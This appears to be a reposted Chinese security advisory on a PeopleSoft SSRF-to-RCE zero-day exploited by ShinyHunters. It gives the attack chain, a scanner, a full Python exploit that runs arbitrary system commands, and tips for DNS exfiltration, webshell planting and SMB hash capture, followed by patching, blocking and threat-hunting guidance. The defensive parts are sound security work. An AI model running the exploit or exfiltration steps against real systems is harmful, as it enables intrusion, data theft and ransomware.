【高危漏洞预警】OraclePeopleSoft零日漏洞CVE-2026-35273"

admin 2026-10-22 06:59:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

【高危漏洞预警】Oracle PeopleSoft 零日漏洞CVE-2026-35273

飓风网络安全

2026年6月16日 23:31
北京

在小说阅读器读本章

去阅读

一、漏洞详情
1.1受影响组件:Oracle PeopleSoft Enterprise PeopleTools — Updates Environment Management(PSEMHUB环境管理枢纽)

• 受影响版本:PeopleTools 8.61、8.62(更早未维护版本大概率存在同漏洞)

• 披露与利用时间线:
1. 2026-05-27:UNC6240(ShinyHunters勒索组织)开始在全球发起0day攻击

  1. 2026-06-10:Oracle发布紧急安全预警+场外应急补丁

  2. 2026-06-12:CISA将该漏洞录入已知活跃利用漏洞清单,强制政企限期修复

  3. 截至2026-06-16:全球超100家机构、300+实例被攻陷,受害主体以高校、金融、制造业ERP系统为主
    1.2 威胁主体与攻击链路
    攻击团伙:ShinyHunters(追踪编号UNC6240),勒索 extortion 团伙,攻击流程标准化:

  4. 公网资产测绘扫描 /PSEMHUB/ 路径暴露实例
  5. 利用CVE-2026-35273无授权RCE拿下应用服务器
  6. 部署MeshCentral远程代理,C2域名azurenetfiles.net伪装Azure云服务规避流量审计
  7. 读取psappsrv.cfg明文数据库、中间件账号密码
  8. 横向渗透WebLogic、批量调度服务、数据库集群
  9. 加密业务数据、窃取师生/企业核心信息,公开泄露数据索要赎金

二、漏洞底层技术原理
2.1 漏洞根因
PeopleTools内置PSEMHUB环境更新管理模块,对外暴露无鉴权接口/PSEMHUB/adapter,接口接收可控target参数并由服务端主动发起HTTP/SMB出站请求:
1. 接口未做身份校验、未做内网IP/特殊协议黑名单过滤;

  1. 攻击者可控target构造SSRF,访问本地内网管理服务;

  2. 内网管理接口存在命令执行逻辑,通过SSRF跳转可间接执行系统命令,形成SSRF→本地接口调用→无授权RCE完整利用链;

  3. 额外风险:target支持SMB协议,可强制目标服务器向外发起445端口连接,抓取Windows机器账号NetNTLM哈希用于中继爆破、内网横向移动。

2.2 关键触发接口
1. 漏洞入口探测接口:/PSEMHUB/adapter?target=xxx

  1. 内网中继执行辅助接口:/PSIGW/HttpListeningConnector(可配合旧版漏洞扩大攻击面)

  2. 内网管理执行端点:http://127.0.0.1:8000/psadmin/exec(仅本机可访问,依靠SSRF跳转调用)

2.3 完整利用逻辑
1. 攻击者发送GET请求至目标/PSEMHUB/adapter,target参数指向本机环回地址管理执行接口;

  1. PeopleSoft服务端主动向127.0.0.1发起请求,携带攻击者传入的系统执行参数;

  2. 本地psadmin管理模块接收参数,未过滤危险系统命令,直接调用操作系统API;

  3. 命令执行结果通过HTTP响应返回攻击者,实现回显型RCE;

  4. 无回显场景可通过外网HTTP/DNS日志带出命令执行结果,或写入Web目录上传后门。

三、漏洞检测脚本(合规探测,仅用于自查)
3.1 手动探测HTTP请求(curl)
用于验证目标是否存在SSRF入口,无危害仅做连通性测试:

漏洞探测请求,访问本地ping接口验证SSRF

curl -i \"http://target-ip/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
判定标准:
• 响应包含ping success、本地服务状态信息 → 存在漏洞入口,高危;

• 404/403/路径拦截/无本地服务返回 → 已修复或有WAF阻断。

3.2 Python批量资产探测脚本(仅内网自查)
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}

def check\_vuln(target):
url = f\"{target.rstrip('/')}/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
try:
resp = requests.get(url, headers=headers, timeout=5, verify=False)
if resp.status\_code == 200 and \"ping\" in resp.text:
print(f\"[!] 高危漏洞 CVE-2026-35273 存在: {target}\")
else:
print(f\"[+] 目标安全: {target}\")
except Exception as e:
print(f\"[-] 无法访问 {target}: {str(e)}\")

if \\_name\\ == \"\\main\\_\":
if len(sys.argv) < 2:
print(\"使用方式: python scan.py ip.txt\")
sys.exit()
targets = open(sys.argv[1], \"r\", encoding=\"utf-8\").read().splitlines()
with ThreadPoolExecutor(max\_workers=20) as pool:
pool.map(check\_vuln, targets)

四、完整研究型POC(仅授权测试环境使用,回显RCE)
4.1 POC原理说明
通过/PSEMHUB/adapter SSRF跳转本地psadmin/exec接口,传递cmd参数执行系统命令,响应直接返回命令输出;区分Windows/Linux执行参数。

4.2 Python 完整POC代码
import requests
import urllib.parse
import sys
requests.packages.urllib3.disable\_warnings()

class CVE202635273\Exploit:
def \
\init\\_(self, target\_base):
self.base = target\_base.rstrip(\"/\")
self.vuln\_path = \"/PSEMHUB/adapter\"
self.local\_exec\_endpoint = \"http://127.0.0.1:8000/psadmin/exec\"

def exec\_cmd(self, cmd, is\_windows=True):
# 拼接本地执行接口参数
if is\_windows:
payload\_cmd = f\"cmd.exe /c {cmd}\"
else:
payload\_cmd = f\"/bin/sh -c {cmd}\"
full\_target\_url = f\"{self.local\_exec\_endpoint}?cmd={urllib.parse.quote(payload\_cmd)}\"
exploit\_url = f\"{self.base}{self.vuln\_path}?target={urllib.parse.quote(full\_target\_url)}\"
headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}
try:
resp = requests.get(exploit\_url, headers=headers, timeout=8, verify=False)
print(\"=\"\60)
print(f\"命令执行结果:\
{resp.text}\")
print(\"=\"\
60)
return resp.text
except requests.exceptions.Timeout:
print(\"[ERROR] 请求超时,目标无回显或防火墙拦截\")
except Exception as e:
print(f\"[ERROR] 利用失败: {str(e)}\")

def help\_msg():
print(\"\"\"
CVE-2026-35273 Oracle PeopleTools RCE POC(仅授权测试环境)
使用示例:

Windows系统执行ipconfig

python exp.py http://192.168.10.10 windows ipconfig

Linux系统执行whoami

python exp.py https://erp.test.edu linux \"whoami;id\"
\"\"\")

if \\_name\\ == \"\\main\\_\":
if len(sys.argv) !=4:
help\_msg()
sys.exit(0)
target = sys.argv[1]
os\_type = sys.argv[2]
cmd = sys.argv[3]
exp = CVE202635273\_Exploit(target)
if os\_type.lower() == \"windows\":
exp.exec\_cmd(cmd, is\_windows=True)
elif os\_type.lower() == \"linux\":
exp.exec\_cmd(cmd, is\_windows=False)
else:
print(\"系统类型仅支持 windows / linux\")

4.4 无回显拓展利用思路(研究用途)
1. DNS外带:构造target内拼接nslookup 随机字符.xxx.dnslog.cn,通过DNS日志读取执行结果;

  1. WebShell写入:执行命令将jsp/aspx后门写入PeopleSoft网站发布目录,直接浏览器访问连接;

  2. SMB哈希抓取:target=\\攻击者IP\share\test强制目标发起SMB请求,捕获NetNTLM哈希用于爆破。

五、漏洞危害深度分析
1. 核心ERP完全失陷:PeopleSoft承载人事、财务、学生、供应链核心数据,RCE直接获取数据库明文凭证,批量泄露敏感信息;

  1. 勒索加密风险:攻击团伙落地MeshCentral持久化后门,全盘加密业务文件,阻断企业正常经营;

  2. 内网横向爆破:通过SSRF抓取机器账号哈希,对内网WebLogic、数据库、AD域控展开渗透;

  3. 持久驻留:创建管理员后门账号、写入开机启动脚本、植入内存无文件代理,常规杀毒难以清理;

  4. 合规重大风险:教育、金融、医疗机构泄露用户隐私,触发《个人信息保护法》巨额处罚。

六、分层防御修复方案(紧急→长期)
6.1 紧急修复(最高优先级,立即执行)
1. 安装Oracle官方场外应急补丁
访问Oracle安全公告:https://www.oracle.com/security-alerts/alert-cve-2026-35273.html

PeopleTools 8.61:安装对应版本紧急更新包

PeopleTools 8.62:部署同系列安全补丁
补丁完成后重启PSEMHUB、WebLogic应用服务,重新运行检测脚本验证漏洞闭合。

  1. 临时阻断方案(无法立刻打补丁时保命)
    WAF/反向代理拦截规则:阻断所有URL前缀/PSEMHUB/公网访问;

网络ACL:防火墙限制仅内网管理网段访问PeopleSoft 80/443端口,彻底剥离公网暴露;

禁用PSEMHUB服务:临时关停Updates Environment Management组件,阻断漏洞入口。

6.2 中间层权限收敛加固
1. 降低PeopleSoft进程运行账户权限,禁止使用Windows管理员/root启动服务;

  1. 限制服务出站访问策略:防火墙阻断服务器主动向外发起445(SMB)、53(DNS)、80/443非可信出站请求;

  2. 清理psappsrv.cfg明文密码,改用Oracle加密凭证存储机制。

6.3 长效纵深防御体系
1. 资产测绘常态化:每周扫描公网ERP实例,监控/PSEMHUB/、/PSIGW/路径暴露;

  1. 日志审计告警:全量采集WebLogic访问日志,匹配/PSEMHUB/adapter、超长target参数实时告警;

  2. IPS特征防护:部署TrendAI IPS规则1012580,拦截SSRF攻击载荷;

  3. 分段网络隔离:ERP应用服务器、数据库、AD域控三层网络分段,禁止跨段无限制互通;

  4. 定期渗透演练:每季度授权安全团队对PeopleSoft进行专项漏洞验证。

七、入侵痕迹排查(已暴露公网实例必做)
7.1 日志排查项
1. WebLogic访问日志:检索/PSEMHUB/adapter、target=http://127.0.0.1、内网环回地址请求记录;

  1. 系统历史命令:Linux .bash\_history、Windows Powershell/CMD执行日志;

  2. 出站网络日志:大量向azurenetfiles.net:443、外部SMB 445端口连接记录。

7.2 恶意文件痕迹
1. 临时目录/tmp/、C:\Windows\Temp下fanout.sh、MeshCentral代理程序;

  1. Web发布目录新增jsp/aspx后门脚本;

  2. 根目录勒索提示文件 README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT。

7.3 后门持久化排查
1. Windows:计划任务、服务列表、注册表Run启动项;

  1. Linux:crontab定时任务、/etc/rc.d开机脚本;

  2. 系统新增不明管理员账号、数据库陌生存储过程。


2026聚合獬豸杯-服务器题解析" 网络安全文章

2026聚合獬豸杯-服务器题解析"

该文档详细解析了2026年聚合獬豸杯CTF比赛中服务器取证环节的20道题目解题过程。作者使用HermesAgent工具和Qwen模型进行自动化分析,通过远程命令执行、源码审计、数据库查询等技术手段,系统性地验证了服务器内核版本、用户权限、Web服务配置、数据库安全、网络日志分析等关键问题。文档提供了完整的证据链和验证策略,涵盖权限提升、隐蔽后台识别、密码爆破、数据备份追踪等实战场景,具有较强的技术参考价值。
评论:0   参与:  0